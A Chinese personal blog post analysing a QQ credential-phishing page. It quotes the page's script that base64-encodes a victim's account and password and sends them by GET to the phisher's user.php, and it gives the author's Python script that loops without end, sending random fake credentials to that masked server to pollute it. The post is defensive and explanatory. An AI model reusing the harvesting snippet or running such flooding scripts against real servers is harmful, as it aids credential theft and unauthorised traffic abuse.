0%

记一次对盗号网站的分析

记一次对盗号网站的分析

起因

可能是群里面有人的号被盗了吧,QQ邮箱里面的群邮件里面突然收到了一封盗号邮件(这种盗号链接的风格肯定是能一眼看穿的吧😂)

链接打了个码,第一次发博客曝光,还是有点害怕

点开链接,不得不承认,网页做的是真的像啊,我甚至有一股想输入账号密码的冲动

——————————下方多GIF图预警——————————

但是如果你点击“扫码快捷登录”的话,网页会提示“系统繁忙,请您使用QQ账号密码登录!”。即使是打开链接准备输入真的账号密码的安全小白,想必到这里也能看出端倪了,扫码登录这么安全的方式,怎么可能说停用就停用呢,想必TX是不会干这种事的

初步分析

都0202年了,盗号网站也基本都有前端验证了,输入111111这种简单无脑的账号密码,或者是账号里面输入了字符,肯定是要被前端过滤了


好吧,那就输入一个稍微正常一点的吧,账号“88488848”,密码“pwd88488848”

和以往的盗号网站一样,它获取账号密码成功之后就会跳转到一个正常的网站,不过此时账号密码信息应该已经被发送到盗号者的网站了

进一步分析

抓包分析

可能是我不太喜欢直接去看源码吧,一般我会先抓包分析盗号网站的行为,而且盗号网站一般用的是未加密的http,抓出来的东西也比较容易看懂
使用http过滤之后,却只看到了一个get方法,没看到post,难道这个网站做出来却没有给服务器发送用户输入的账号密码?我甚至有点怀疑这是一个恶作剧盗号网站了。抱着再探究一下的态度,我开始分析前端的代码

前端代码分析

F12来一波,定位到登录按钮的位置,看看在这个页面里面的 <script></script> 部分里面有没有直接写向后台发送数据的js脚本


看来是没有了,那就用“查看网页/框架源代码”的办法找脚本,果不其然,找到了

201行的/*新增密码校验*/就写的很真实😂
最核心的代码就是218-220行的这些了

1
2
3
$.get("../user.php?web=" + new Date().getTime() + "&token=" + btoa('{"u":' + u + ',"p":"' + p + '"}'),function(data,status){
window.top.location.href = data.url;
});

有趣的是,这个网页没用post方法,而是用get和传参的方式向后台传送数据,这就是为什么在抓包结果里面只能看到一个GET和HTTP 200 OK,但是看不到POST方法的原因了

分析代码可以看出,new Date().getTime()只是获取了当前时间,而这个"&token="后面的东西应该就是重点内容了,这个命名为up的变量是不是很会令人联想到user和password呢,目前来看恐怕就是了,用chrome的抓包看一下吧

token的内容是 eyJ1Ijo4ODQ4ODg0OCwicCI6InB3ZDg4NDg4ODQ4In0=,根据这个显眼的结尾等号以及前面js脚本中btoa函数的使用,看了这个盗号者居然给用户的信息用base64简单的加了个密😂,解码看看内容吧

果不其然,被加密的内容就是我们刚才输入的用户名和密码!

结果

至此,我们已经知道了这个盗号网站的IP地址(图中均已打码)以及它向后台传送数据的格式和方法。

1
xxx.cn/user.php?web=[当前时间戳]&token=[base64加密的{"u":账号,"p":"密码"}]

由于个人能力有限,目前我能做的就是用Python写点脚本给网站灌输一些垃圾数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import time
import datetime
import base64
import random

url = 'http://xxxxxx/user.php?'
b=0
j=1
s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*"

while b<1:
t = time.time()
# print (int(round(t * 1000)))

fakeId = ""
fakePwd = ""
for i in range(10):
fakeId+=str(random.randint(0,9))
for i in range(12):
fakePwd += s[random.randint(0,len(s)-1)]
print("FakeId "+fakeId)
print("FakePwd "+fakePwd)

up = "{\"u\":"+fakeId+",\"p\":\""+fakePwd+"\"}"
bytes_up = up.encode("utf-8")
userData = base64.b64encode(bytes_up)
userData = userData.decode("utf-8")
print("userDataB64 "+userData)

newUrl=url+"web="+str(round(t * 1000))+"&token="+userData
response=requests.get(newUrl)

print('次数:'+str(j)+' '+newUrl+' '+str(response))
j+=1

print("!RUN FINISHED!")


运行截图